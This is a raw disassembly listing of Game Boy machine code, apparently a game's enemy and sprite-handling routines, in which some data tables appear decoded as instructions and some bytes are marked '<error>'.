jr c, 0.l_65b4
ld hl, $c2b0
add hl, de
ld [hl], $02
push bc
ldh a, [$ff00 + $e8]
ld c, a
ld hl, $6555
add hl, bc
ldh a, [$ff00 + $d7]
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $6559
add hl, bc
ldh a, [$ff00 + $d8]
add a, [hl]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $655d
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, de
ld [hl], a
ld hl, $6561
add hl, bc
ld a, [hl]
ld hl, $c250
add hl, de
ld [hl], a
pop bc
ld hl, $c320
add hl, de
ld [hl], $13
ld hl, $c340
add hl, de
ld [hl], $42
ldh a, [$ff00 + $e8]
dec a
jr nz, 0.l_6568
ret
ldh a, [$ff00 + $f8]
ld h, b
nop
ldh a, [$ff00 + $00]
ld h, d
nop
ldh a, [$ff00 + $08]
ld h, h
nop
ldh a, [$ff00 + $10]
ld h, [hl]
nop
nop
ldhl sp, d
ld l, b
nop
nop
nop
ld l, d
nop
nop
ld [$206a], sp
nop
stop
ld l, b
jr nz, 0.l_65cb
ldhl sp, d
ld h, [hl]
jr nz, 0.l_65cf
nop
ld h, h
jr nz, 0.l_65d3
ld [$2062], sp
ldh a, [$ff00 + $10]
ld h, b
jr nz, 0.l_65eb
ldhl sp, d
ld l, b
nop
nop
nop
ld l, d
nop
nop
ld [$206a], sp
nop
stop
ld l, b
jr nz, 0.l_65fb
ldhl sp, d
ld l, h
nop
nop
nop
ld l, [hl]
nop
nop
ld [$206e], sp
nop
stop
ld l, h
jr nz, 0.l_660b
<error>
ld a, h
nop
nop
inc b
ld a, [hl]
nop
nop
inc c
ld a, h
jr nz, 0.l_6617
nop
rst 38
nop
nop
<error>
ld a, h
nop
nop
inc b
ld a, [hl]
jr nz, 0.l_6623
inc c
ld a, h
jr nz, 0.l_6627
nop
rst 38
nop
nop
ldhl sp, d
ld [hl], h
nop
nop
nop
halt
nop
nop
ld [$2076], sp
nop
stop
ld [hl], h
jr nz, 0.l_663b
ldhl sp, d
ld [hl], b
nop
nop
nop
ld [hl], d
nop
nop
ld [$2072], sp
nop
stop
ld [hl], b
jr nz, 0.l_6655
ei
ld h, $00
ld a, [bc]
ld bc, $0026
ld a, [bc]
ld b, $26
nop
ld a, [bc]
inc c
ld h, $00
ldh a, [$ff00 + $f1]
cp $02
jr nc, $166ac
ld hl, $c340
add hl, bc
ld a, [hl]
and $f0
or $08
ld [hl], a
ldh a, [$ff00 + $f1]
rl a
rl a
rl a
rl a
rl a
and $e0
ld e, a
ld d, b
ld hl, $65ba
add hl, de
ld c, $08
call func_3d26
nop
ldh a, [$ff00 + $f1]
cp $05
jr nc, 0.l_66ab
ld hl, $c310
add hl, bc
ld a, [hl]
dec a
cp $08
jr c, 0.l_66ab
ld hl, $c340
add hl, bc
ld a, [hl]
and $f0
or $04
ld [hl], a
ldh a, [$ff00 + $ef]
ldh [$ff00 + $ec], a
xor a
ldh [$ff00 + $f1], a
ld hl, $664a
ld c, $04
call func_3d26
call func_3dba
ret
ld hl, $c340
add hl, bc
ld a, [hl]
and $f0
or $04
ld [hl], a
ldh a, [$ff00 + $f1]
dec a
dec a
rl a
rl a
rl a
rl a
and $f0
ld e, a
ld d, b
ld hl, $65fa
add hl, de
ld c, $04
call func_3d26
call func_667f
ret
call func_0891
jp z, $7a6b
cp $0a
ld a, $05
jr c, 0.l_66dc
inc a
ldh [$ff00 + $f1], a
call func_66ac
ret
ld e, $00
ld e, $60
ld e, $40
ld e, $20
ld a, d
nop
ld a, d
jr nz, 0.l_6767
nop
ld a, b
jr nz, 0.l_6704
ldh [c], a
ld h, [hl]
call func_3c3b
call func_7965
call func_3bbf
ldh a, [$ff00 + $f0]
rst 0
dec b
ld h, a
dec l
ld h, a
call func_79d1
call func_7a0a
ld hl, $c320
add hl, bc
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_6722
ld [hl], b
call func_3b8d
call func_0891
ld [hl], $0f
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
call func_3b87
ret
call func_0891
jp z, $7a6b
rr a
rr a
rr a
and $01
inc a
inc a
call func_3b87
ret
ld l, h
nop
ld l, [hl]
nop
ld l, [hl]
jr nz, 0.l_67b1
jr nz, 0.l_6758
ld a, $67
call func_3c3b
call func_7965
call func_79d1
call func_7a0a
ld hl, $c320
add hl, bc
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_6775
xor a
ld [hl], a
call func_0891
ld [hl], $0f
ld hl, $c2b0
add hl, bc
ld [hl], $02
ld a, $ff
call func_3b87
ret
ld hl, $c460
add hl, bc
ld e, [hl]
sla e
sla e
sla e
sla e
sla e
sla e
ld d, b
ld hl, $d000
add hl, de
push de
ld e, $20
xor a
ldi [hl], a
dec e
ld a, e
cp $00
jr nz, 0.l_678f
pop de
ld hl, $d100
add hl, de
ld e, $20
xor a
ldi [hl], a
dec e
ld a, e
cp $00
jr nz, 0.l_679e
ld hl, $c250
add hl, bc
ld [hl], $06
call func_0891
ld [hl], $40
call func_088c
ld [hl], $40
ld hl, $c3b0
add hl, bc
ld [hl], $03
ret
ld b, $fa
nop
nop
nop
nop
ld a, [$0206]
ld bc, $0100
ld hl, $2322
ldi [hl], a
ldh a, [$ff00 + $f7]
cp $07
jr nz, 0.l_67d7
ld a, $10
ldh [$ff00 + $f5], a
call func_699a
call func_7965
call func_3f12
call func_08e2
call func_3bb4
ldh a, [$ff00 + $f0]
rst 0
rst 28
ld h, a
or l
ld l, b
rrc a
ld l, c
call func_0891
jr nz, 0.l_67f9
ld [hl], $00
call func_3b8d
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc a
and $3f
ld [hl], a
ldh [$ff00 + $d7], a
rr a
rr a
nop
and $03
ld e, a
ld d, $00
ld hl, $67c5
add hl, de
ld a, [hl]
ld hl, $c2b0
add hl, bc
ld [hl], a
ld hl, $67c9
add hl, de
ld a, [hl]
ld hl, $c2c0
add hl, bc
ld [hl], a
ld hl, $c460
add hl, bc
ld e, [hl]
sla e
sla e
sla e
sla e
sla e
sla e
ld d, $00
push de
ld hl, $d000
add hl, de
ldh a, [$ff00 + $d7]
ld e, a
add hl, de
ldh a, [$ff00 + $ee]
ld [hl], a
pop de
ld hl, $d100
add hl, de
ldh a, [$ff00 + $d7]
ld e, a
add hl, de
ldh a, [$ff00 + $ec]
ld [hl], a
call func_79d1
call func_3b9e
ld e, $0f
ld d, b
ld hl, $c280
add hl, de
ld a, [hl]
cp $05
jr nz, 0.l_68b1
ld hl, $c3a0
add hl, de
ld a, [hl]
cp $02
jr nz, 0.l_68b1
ld hl, $c2e0
add hl, de
ld a, [hl]
cp $38
jr c, 0.l_68b1
ld hl, $c200
add hl, de
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $06
cp $0c
jr nc, 0.l_68b1
ld hl, $c210
add hl, de
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $06
cp $0c
jr nc, 0.l_68b1
ld hl, $c310
add hl, de
ld a, [hl]
and a
jr nz, 0.l_68b1
ld hl, $c280
add hl, de
ld [hl], b
call func_3b8d
ld [hl], $02
ld hl, $c300
add hl, bc
ld [hl], $60
ld hl, $c420
add hl, bc
ld [hl], $0c
ld hl, $c440
add hl, bc
inc [hl]
ld a, $2a
ldh [$ff00 + $f2], a
ret
dec e
jr nz, 0.l_6854
ret
call func_0891
jr nz, 0.l_68fe
call func_27ed
and $1f
add a, $40
ld [hl], a
call func_3b8d
ld [hl], b
ld hl, $c2d0
add hl, bc
ld a, [hl]
inc a
and $03
ld [hl], a
jr nz, 0.l_68d6
call func_7a44
jr 0.l_68dc
call func_27ed
and $03
ld e, a
ld hl, $fff1
xor [hl]
and $02
jr z, 0.l_68d6
ld d, b
ld hl, $c3b0
add hl, bc
ld [hl], e
ld hl, $67bd
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $67c1
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
ret
di
dec c
nop
nop
nop
nop
dec c
di
inc c
<error>
nop
nop
nop
nop
<error>
inc c
ld hl, $c300
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_6922
call func_0891
ld [hl], $30
call func_3b8d
ld [hl], $01
ret
cp $24
jr nz, 0.l_6929
call func_08d7
cp $04
jr nz, 0.l_6949
ldh a, [$ff00 + $f1]
ld e, a
ld d, b
ld hl, $6907
add hl, de
ldh a, [$ff00 + $ee]
add a, [hl]
ldh [$ff00 + $d7], a
ld hl, $690b
add hl, de
ldh a, [$ff00 + $ec]
add a, [hl]
ldh [$ff00 + $d8], a
ld a, $02
call func_0953
xor a
cp $20
jr nz, 0.l_6985
ld hl, $c440
add hl, bc
ld a, [hl]
cp $03
jr nz, 0.l_6985
ld a, $02
call func_3c01
jr c, 0.l_6985
ld hl, $c2e0
add hl, de
ld [hl], $17
push bc
ld hl, $c3b0
add hl, bc
ld c, [hl]
ld hl, $68ff
add hl, bc
ldh a, [$ff00 + $d7]
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $6903
add hl, bc
ldh a, [$ff00 + $d8]
add a, [hl]
ld hl, $c210
add hl, de
ld [hl], a
pop bc
call func_7dc0
ret
ld h, [hl]
jr nz, 0.l_69ed
jr nz, 0.l_69ef
nop
ld h, [hl]
nop
ld h, d
nop
ld h, d
jr nz, 0.l_69f3
nop
ld h, b
jr nz, 0.l_69ff
nop
ld l, b
jr nz, 0.l_6968
adc a, h
ld [$2421], sp
pop bc
or [hl]
ld hl, $c300
add hl, bc
or [hl]
jp nz, .l_6bda
ldh a, [$ff00 + $f1]
cp $02
jr nz, 0.l_69b8
call func_6a08
call func_69c1
jp $3dba
call func_69c1
call func_6a08
jp $3dba
ld hl, $c3d0
add hl, bc
ld a, [hl]
ldh [$ff00 + $d7], a
push bc
ld hl, $c460
add hl, bc
ld e, [hl]
ld hl, $c2b0
add hl, bc
ld c, [hl]
sla e
sla e
sla e
sla e
sla e
sla e
ld d, b
push de
ld hl, $d000
add hl, de
ldh a, [$ff00 + $d7]
sub a, c
and $3f
ld e, a
ld d, b
add hl, de
ld a, [hl]
ldh [$ff00 + $ee], a
pop de
ld hl, $d100
add hl, de
ldh a, [$ff00 + $d7]
sub a, c
and $3f
ld e, a
ld d, b
add hl, de
ld a, [hl]
ldh [$ff00 + $ec], a
pop bc
ld de, $6986
call func_3c3b
ret
ld hl, $c3d0
add hl, bc
ld a, [hl]
ldh [$ff00 + $d7], a
push bc
ld hl, $c460
add hl, bc
ld e, [hl]
ld hl, $c2c0
add hl, bc
ld c, [hl]
sla e
sla e
sla e
sla e
sla e
sla e
ld d, b
push de
ld hl, $d000
add hl, de
ldh a, [$ff00 + $d7]
sub a, c
and $3f
ld e, a
ld d, b
add hl, de
ld a, [hl]
ldh [$ff00 + $ee], a
pop de
ld hl, $d100
add hl, de
ldh a, [$ff00 + $d7]
sub a, c
and $3f
ld e, a
ld d, b
add hl, de
ld a, [hl]
ldh [$ff00 + $ec], a
pop bc
ld a, $04
ldh [$ff00 + $f1], a
ld de, $6986
call func_3c3b
ld hl, $c3b0
add hl, bc
ld a, [hl]
ldh [$ff00 + $f1], a
ret
nop
nop
ld h, [hl]
jr nz, 0.l_6a5f
ld [$2064], sp
nop
di
ld l, b
nop
nop
ei
ld l, b
jr nz, 0.l_6a6b
nop
ld h, h
nop
nop
ld [$0066], sp
nop
dec c
ld l, b
nop
nop
dec d
ld l, b
jr nz, 0.l_6a7b
nop
ld h, d
nop
nop
ld [$2062], sp
dec c
nop
ld l, b
nop
dec c
ld [$2068], sp
nop
nop
ld h, b
nop
nop
ld [$2060], sp
di
nop
ld l, b
nop
di
ld [$2068], sp
nop
inc b
ld h, [hl]
jr nz, 0.l_6a9f
inc c
ld h, h
jr nz, 0.l_6a9b
<error>
ld l, h
nop
ldhl sp, d
<error>
ld l, d
nop
ldhl sp, d
<error>
ld l, d
jr nz, 0.l_6aa7
inc b
ld l, h
jr nz, 0.l_6abb
<error>
ld l, h
ld b, b
ld [$6ef4], sp
ld b, b
ld [$6efc], sp
ld h, b
ld [$6c04], sp
ld h, b
nop
<error>
ld h, h
nop
nop
inc b
ld h, [hl]
nop
ldhl sp, d
inc b
ld l, h
nop
ldhl sp, d
inc c
ld l, d
nop
ldhl sp, d
inc d
ld l, d
jr nz, 0.l_6acf
inc e
ld l, h
jr nz, 0.l_6ae3
inc b
ld l, h
ld b, b
ld [$6e0c], sp
ld b, b
ld [$6e14], sp
ld h, b
ld [$6c1c], sp
ld h, b
inc b
ldhl sp, d
ld l, h
nop
inc b
nop
ld l, d
nop
inc b
ld [$206a], sp
inc b
stop
ld l, h
jr nz, 0.l_6b0f
ldhl sp, d
ld l, h
ld b, b
inc d
nop
ld l, [hl]
ld b, b
inc d
ld [$606e], sp
inc d
stop
ld l, h
ld h, b
<error>
nop
ld h, d
nop
<error>
ld [$2062], sp
inc b
nop
ld h, b
nop
inc b
ld [$2060], sp
<error>
ldhl sp, d
ld l, h
nop
<error>
nop
ld l, d
nop
<error>
ld [$206a], sp
<error>
stop
ld l, h
jr nz, 0.l_6b27
ldhl sp, d
ld l, h
ld b, b
<error>
nop
ld l, [hl]
ld b, b
<error>
ld [$606e], sp
<error>
stop
ld l, h
ld h, b
nop
ld [bc], a
ld h, [hl]
jr nz, 0.l_6b3f
ld a, [bc]
ld h, h
jr nz, 0.l_6b3e
rst 28
ld l, h
nop
ei
rst 30
ld l, [hl]
nop
ei
ld sp, hl
ld l, [hl]
jr nz, 0.l_6b4a
ld bc, $206c
dec b
rst 28
ld l, h
ld b, b
dec b
rst 30
ld l, [hl]
ld b, b
dec b
ld sp, hl
ld l, [hl]
ld h, b
dec b
ld bc, $606c
nop
cp $64
nop
nop
ld [bc], a
ld h, [hl]
nop
ei
rlc a
ld l, h
nop
ei
rrc a
ld l, [hl]
nop
ei
ld de, $206e
ei
add hl, de
ld l, h
jr nz, 0.l_6b80
rlc a
ld l, h
ld b, b
dec b
rrc a
ld l, [hl]
ld b, b
dec b
ld de, $606e
dec b
add hl, de
ld l, h
ld h, b
rlc a
ei
ld l, h
nop
rlc a
inc bc
ld l, [hl]
nop
rlc a
dec b
ld l, [hl]
jr nz, 0.l_6b9e
dec c
ld l, h
jr nz, 0.l_6bac
ei
ld l, h
ld b, b
ld de, $6e03
ld b, b
ld de, $6e05
ld h, b
ld de, $6c0d
ld h, b
cp $00
ld h, d
nop
cp $08
ld h, d
jr nz, 0.l_6bb5
nop
ld h, b
nop
ld [bc], a
ld [$2060], sp
rst 28
ei
ld l, h
nop
rst 28
inc bc
ld l, [hl]
nop
rst 28
dec b
ld l, [hl]
jr nz, 0.l_6bb6
dec c
ld l, h
jr nz, 0.l_6bc4
ei
ld l, h
ld b, b
ld sp, hl
inc bc
ld l, [hl]
ld b, b
ld sp, hl
dec b
ld l, [hl]
ld h, b
ld sp, hl
dec c
ld l, h
ld h, b
ld hl, $c300
add hl, bc
ld a, [hl]
cp $08
jr c, 0.l_6c12
cp $28
jr nc, 0.l_6c12
ld hl, $6b3a
cp $0e
jr c, 0.l_6bf5
cp $22
jr nc, 0.l_6bf5
ld hl, $6a9a
ldh a, [$ff00 + $f1]
ld e, a
ld d, b
sla e
sla e
sla e
ld a, e
sla e
sla e
add a, e
ld e, a
add hl, de
ld c, $0a
call func_3d26
ld a, $08
call func_3dd0
ret
ldh a, [$ff00 + $f1]
rl a
rl a
rl a
rl a
and $f0
ld e, a
ld d, b
ld hl, $6a5a
add hl, de
ld c, $04
call func_3d26
ld a, $02
call func_3dd0
ret
call func_0891
ld [hl], $80
xor a
ld [$d200], a
ld [$d203], a
ld [$d204], a
ld hl, $c390
add hl, bc
ld [hl], $01
ret
call func_380e
call func_3f12
call func_08e2
ld hl, $c2b0
add hl, bc
ld a, [hl]
rst 0
ld d, [hl]
ld l, h
rlc a
ld [hl], d
ld sp, hl
ld [hl], h
ld a, c
ld [$d201], a
ldh a, [$ff00 + $f0]
rst 0
ld h, l
ld l, h
xor c
ld l, h
sub a, l
ld l, l
dec bc
ld [hl], b
call func_0891
jr nz, 0.l_6c80
ld [hl], $80
ld a, $ff
ld [$c157], a
ld a, $3e
ldh [$ff00 + $f4], a
ld [$d3e8], a
ld a, $04
ld [$c158], a
call func_3b8d
ret
jr nz, 0.l_6ce3
jr nz, 0.l_6ce5
nop
nop
ld [hl], b
ld [hl], b
ld [$0808], sp
ld [$0b09], sp
dec bc
ld a, [bc]
ld [$0808], sp
ld [$0b09], sp
dec bc
ld a, [bc]
dec b
rlc a
rlc a
ld b, $04
inc b
inc b
inc b
dec b
rlc a
rlc a
ld b, $04
inc b
inc b
inc b
ld a, $38
ldh [$ff00 + $ce], a
add a, $10
ld hl, $c200
add hl, bc
ld [hl], a
ld a, $30
ldh [$ff00 + $cd], a
add a, $18
ld hl, $c210
add hl, bc
ld [hl], a
call func_0891
jp nz, .l_6d48
ld [hl], $ff
xor a
ld [$d3e8], a
call func_3b8d
ld a, $af
ld [$d745], a
ld a, $af
ld [$d746], a
ld a, $b0
ld [$d755], a
ld a, $b0
ld [$d756], a
call func_088c
ld [hl], $1f
call func_0887
ld [hl], $b0
call func_3e64
ld hl, $c280
add hl, bc
ld [hl], $05
ld hl, $c200
add hl, bc
ld a, [hl]
add a, $10
ld [hl], a
call func_3e64
ld hl, $c280
add hl, bc
ld [hl], $05
call func_3e64
call func_08d7
ld hl, $c280
add hl, bc
ld [hl], $05
call func_2839
ld a, [$d600]
ld e, a
ld d, $00
ld hl, $d601
add hl, de
add a, $1c
ld [$d600], a
call func_6d2d
call func_6d2d
call func_6d2d
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
inc a
ldh [$ff00 + $d0], a
ldi [hl], a
ld a, $83
ldi [hl], a
ld a, $76
ldi [hl], a
ld a, $7e
ldi [hl], a
ld a, $7e
ldi [hl], a
ld a, $77
ldi [hl], a
xor a
ld [hl], a
ret
cp $40
jp nz, .l_6d94
call func_2839
ld a, [$d600]
ld e, a
ld d, $00
ld hl, $d601
add hl, de
add a, $1c
ld [$d600], a
call func_6d62
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
inc a
ldh [$ff00 + $d0], a
ldi [hl], a
ld a, $83
ldi [hl], a
ld a, $1c
ldi [hl], a
ld a, $1e
ldi [hl], a
ld a, $1c
ldi [hl], a
ld a, $1e
ldi [hl], a
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
inc a
ldh [$ff00 + $d0], a
ldi [hl], a
ld a, $83
ldi [hl], a
ld a, $1d
ldi [hl], a
ld a, $1f
ldi [hl], a
ld a, $1d
ldi [hl], a
ld a, $1f
ldi [hl], a
xor a
ld [hl], a
ret
ld hl, $c200
add hl, bc
ld a, [hl]
push af
ld hl, $c210
add hl, bc
ld a, [hl]
push af
call func_700b
pop af
ld hl, $c210
add hl, bc
ld [hl], a
pop af
ld hl, $c200
add hl, bc
ld [hl], a
call func_3dba
call func_0891
jr nz, 0.l_6dbc
call func_3b8d
ret
cp $98
jr z, 0.l_6dcd
cp $68
jr z, 0.l_6dcd
cp $38
jr z, 0.l_6dcd
cp $08
jp nz, .l_6ea8
ld hl, $c3d0
add hl, bc
ld a, [hl]
cp $04
jp z, .l_6ea8
inc [hl]
ld e, a
ld d, b
ld hl, $6c81
add hl, de
ld a, [hl]
ldh [$ff00 + $ce], a
ld hl, $6c85
add hl, de
ld a, [hl]
ldh [$ff00 + $cd], a
sla e
sla e
sla e
ld hl, $6c89
add hl, de
push hl
call func_2839
ld a, [$d600]
ld e, a
ld d, $00
ld hl, $d601
add hl, de
add a, $0e
ld [$d600], a
pop de
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
ldi [hl], a
ld a, $03
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
add a, $20
ldi [hl], a
ld a, $03
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ld a, [de]
ldi [hl], a
xor a
ld [hl], a
ld a, $d5
ld [$d713], a
ld [$d717], a
ld a, $d6
ld [$d714], a
ld [$d718], a
ld a, $d7
ld [$d783], a
ld [$d787], a
ld a, $d8
ld [$d784], a
ld [$d788], a
ld a, $5d
call func_3c01
ld hl, $c2b0
add hl, de
ld [hl], $01
ld hl, $c200
add hl, de
ldh a, [$ff00 + $ce]
add a, $10
ld [hl], a
ld hl, $c200
add hl, bc
ld [hl], a
ld hl, $c210
add hl, de
ldh a, [$ff00 + $cd]
add a, $10
ld [hl], a
ld hl, $c210
add hl, bc
add a, $08
ld [hl], a
ld hl, $c2e0
add hl, de
ld [hl], $2f
ld hl, $c3d0
add hl, bc
ld a, [hl]
cp $03
ld a, $00
jr c, 0.l_6e97
ld hl, $c210
add hl, bc
ld a, [hl]
sub a, $08
ld [hl], a
ld a, $01
ld hl, $c380
add hl, de
ld [hl], a
call func_3e64
ld hl, $c280
add hl, bc
ld [hl], $05
call func_08d7
ret
ret nc
pop de
call nc, func_dfd9
and $ee
rst 30
nop
add hl, bc
ld [de], a
ld a, [de]
ld hl, $2c27
cpl
jr nc, 0.l_6eea
inc l
daa
ld hl, $121a
add hl, bc
nop
rst 30
xor $e6
rst 18
reti
call nc, func_d0d1
pop de
call nc, func_dfd9
and $ee
rst 30
jp c, .l_dddb
pop hl
and $eb
<error>
ld sp, hl
nop
rlc a
ld c, $15
ld a, [de]
rr a
inc hl
dec h
ld h, $25
inc hl
rr a
ld a, [de]
dec d
ld c, $07
nop
ld sp, hl
<error>
<error>
and $e1
<error>
<error>
jp c, .l_dddb
pop hl
and $eb
<error>
ld sp, hl
<error>
push hl
rst 20
jp [hl]
<error>
pop af
or $fb
nop
dec b
ld a, [bc]
rrc a
inc de
rl a
add hl, de
dec de
inc e
dec de
add hl, de
rl a
inc de
rrc a
ld a, [bc]
dec b
nop
ei
or $f1
<error>
jp [hl]
rst 20
push hl
<error>
push hl
rst 20
jp [hl]
<error>
pop af
or $fb
xor $ef
ldh a, [$ff00 + $f2]
<error>
or $fa
<error>
nop
inc bc
ld b, $0a
inc c
ld c, $10
ld de, $1112
stop
ld c, $0c
ld a, [bc]
ld b, $03
nop
<error>
ld a, [$f4f6]
<error>
ldh a, [$ff00 + $ef]
xor $ef
ldh a, [$ff00 + $f2]
<error>
or $fa
<error>
ldhl sp, d
ld sp, hl
ld a, [$fbfb]
<error>
<error>
rst 38
nop
ld bc, $0403
dec b
dec b
ld b, $07
ld [$0607], sp
dec b
dec b
inc b
inc bc
ld bc, $ff00
<error>
<error>
ei
ei
ld a, [$f8f9]
ld sp, hl
ld a, [$fbfb]
<error>
<error>
rst 38
nop
nop
ld bc, $0302
inc b
inc b
inc b
inc b
inc b
inc b
inc bc
ld [bc], a
ld bc, $0000
nop
nop
rst 38
cp $fd
<error>
<error>
<error>
<error>
<error>
<error>
<error>
cp $ff
nop
nop
nop
nop
ld bc, $0201
ld [bc], a
inc bc
inc bc
inc bc
inc bc
inc bc
ld [bc], a
ld [bc], a
ld bc, $0001
nop
nop
rst 38
rst 38
cp $fe
<error>
<error>
<error>
<error>
<error>
cp $fe
rst 38
rst 38
nop
nop
nop
ld bc, $0101
ld [bc], a
ld [bc], a
ld [bc], a
ld [bc], a
ld [bc], a
ld [bc], a
ld [bc], a
ld bc, $0101
nop
nop
nop
rst 38
rst 38
rst 38
cp $fe
cp $fe
cp $fe
cp $ff
rst 38
rst 38
nop
nop
nop
ld bc, $0101
ld bc, $0101
ld bc, $0101
ld bc, $0101
nop
nop
nop
nop
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
ld c, c
ld l, a
ld hl, $f96f
ld l, [hl]
pop de
ld l, [hl]
xor c
ld l, [hl]
inc b
inc bc
ld [bc], a
ld bc, $7030
jr nc, 0.l_7073
stop
stop
add a, b
add a, b
nop
nop
ld bc, $cd01
add a, a
ld [$00fa], sp
jp nc, .l_28a7
ld [bc], a
ld [hl], $20
ld a, [hl]
and a
jr nz, 0.l_7071
ld [hl], $2c
ld a, $5d
call func_3c01
jr c, 0.l_7071
ld hl, $c360
add hl, de
ld [hl], $ff
ld hl, $c3b0
add hl, de
ld [hl], $ff
ld hl, $c2b0
add hl, de
ld [hl], $01
ld hl, $c290
add hl, de
ld [hl], $01
push bc
call func_27ed
and $03
ld c, a
ld hl, $6fff
add hl, bc
ld a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $c2c0
add hl, de
ld [hl], a
ld hl, $7003
add hl, bc
ld a, [hl]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c2d0
add hl, de
ld [hl], a
ld hl, $c2e0
add hl, de
ld [hl], $5f
ld hl, $7007
add hl, bc
ld a, [hl]
ld hl, $c380
add hl, de
ld [hl], a
pop bc
call func_088c
jr z, 0.l_7087
rr a
rr a
rr a
and $03
ld e, a
ld d, b
ld hl, $6ffb
add hl, de
ld a, [hl]
ld hl, $c2d0
add hl, bc
ld [hl], a
ld hl, $c440
add hl, bc
ld a, [hl]
and $07
ld hl, $d200
or [hl]
jr nz, 0.l_70a8
ldh a, [$ff00 + $f0]
cp $03
jr nz, 0.l_70a8
ld hl, $c390
add hl, bc
ld e, [hl]
ld hl, $c2c0
add hl, bc
ld a, [hl]
add a, e
and $1f
ld [hl], a
ld a, [$d200]
and a
ld a, $00
jr nz, 0.l_70ba
ld hl, $c440
add hl, bc
inc [hl]
ld a, [hl]
rr a
rr a
and $1f
ldh [$ff00 + $e8], a
ld hl, $c200
add hl, bc
ld [hl], $50
ld hl, $c210
add hl, bc
ld [hl], $48
ldh a, [$ff00 + $e8]
ld e, a
ld d, b
ld hl, $6f71
add hl, de
ld a, [hl]
ld hl, $c2c0
add hl, bc
add a, [hl]
and $1f
ld e, a
ld d, b
push de
ld hl, $c2d0
add hl, bc
ld e, [hl]
sla e
ld d, b
ld hl, $6ff1
add hl, de
ldi a, [hl]
ld h, [hl]
ld l, a
pop de
ld a, $02
call func_71a3
ldh a, [$ff00 + $e8]
ld e, a
ld d, b
ld hl, $6f91
add hl, de
ld a, [hl]
ld hl, $c2c0
add hl, bc
add a, [hl]
and $1f
ld e, a
ld d, b
push de
ld hl, $c2d0
add hl, bc
ld e, [hl]
dec e
ld a, e
cp $f0
jp nc, .l_71ea
sla e
ld d, b
ld hl, $6ff1
add hl, de
ldi a, [hl]
ld h, [hl]
ld l, a
pop de
ld a, $01
call func_71a3
ldh a, [$ff00 + $e8]
ld e, a
ld d, b
ld hl, $6fb1
add hl, de
ld a, [hl]
ld hl, $c2c0
add hl, bc
add a, [hl]
and $1f
ld e, a
ld d, b
push de
ld hl, $c2d0
add hl, bc
ld e, [hl]
dec e
dec e
ld a, e
cp $f0
jp nc, .l_71ea
sla e
ld d, b
ld hl, $6ff1
add hl, de
ldi a, [hl]
ld h, [hl]
ld l, a
pop de
ld a, $01
call func_71a3
ldh a, [$ff00 + $e8]
ld e, a
ld d, b
ld hl, $6fd1
add hl, de
ld a, [hl]
ld hl, $c2c0
add hl, bc
add a, [hl]
and $1f
ld e, a
ld d, b
push de
ld hl, $c2d0
add hl, bc
ld e, [hl]
dec e
dec e
dec e
ld a, e
cp $f0
jp nc, .l_71ea
sla e
ld d, b
ld hl, $6ff1
add hl, de
ldi a, [hl]
ld h, [hl]
ld l, a
pop de
ld a, $01
call func_71a3
ld hl, $c2c0
add hl, bc
ld e, [hl]
ld d, b
push de
ld hl, $c2d0
add hl, bc
ld e, [hl]
dec e
dec e
dec e
dec e
ld a, e
cp $f0
jp nc, .l_71ea
sla e
ld d, b
ld hl, $6ff1
add hl, de
ldi a, [hl]
ld h, [hl]
ld l, a
pop de
ld a, $00
ldh [$ff00 + $f1], a
add hl, de
ld a, $48
add a, [hl]
ldh [$ff00 + $ec], a
ld a, l
add a, $08
ld l, a
ld a, h
adc a, $00
ld h, a
ld a, $50
add a, [hl]
ldh [$ff00 + $ee], a
call func_7200
ldh a, [$ff00 + $98]
ld hl, $ffee
sub a, [hl]
add a, $08
cp $10
jr nc, 0.l_71e9
ldh a, [$ff00 + $99]
ld hl, $ffec
sub a, [hl]
add a, $08
cp $10
jr nc, 0.l_71e9
ld a, [$c11c]
and a
jr nz, 0.l_71e9
call func_3b93
ld a, $18
call func_3c30
ldh a, [$ff00 + $d7]
ldh [$ff00 + $9b], a
ldh a, [$ff00 + $d8]
ldh [$ff00 + $9a], a
ret
pop de
ret
ld [hl], b
nop
ld [hl], b
jr nz, 0.l_7263
nop
ld [hl], d
jr nz, 0.l_7269
nop
ld [hl], h
jr nz, 0.l_7275
nop
ld a, h
jr nz, 0.l_727b
nop
ld a, [hl]
jr nz, 0.l_7212
<error>
ld [hl], c
call func_3c3b
ret
call func_78ac
call func_7965
ldh a, [$ff00 + $f0]
rst 0
ld h, $72
add a, l
ld [hl], d
ld c, b
ld [hl], e
push de
ld [hl], e
ld h, b
ld [hl], h
add hl, bc
ld a, [bc]
dec bc
dec bc
dec bc
dec bc
inc c
dec c
ld c, $0e
ld c, $0e
call func_0891
jp z, $7459
ld e, a
cp $18
jr nz, 0.l_7235
ld a, $16
ldh [$ff00 + $f3], a
ld a, e
rr a
rr a
rr a
and $07
ld e, a
ld d, b
ld hl, $c380
add hl, bc
ld a, [hl]
and a
ld hl, $721a
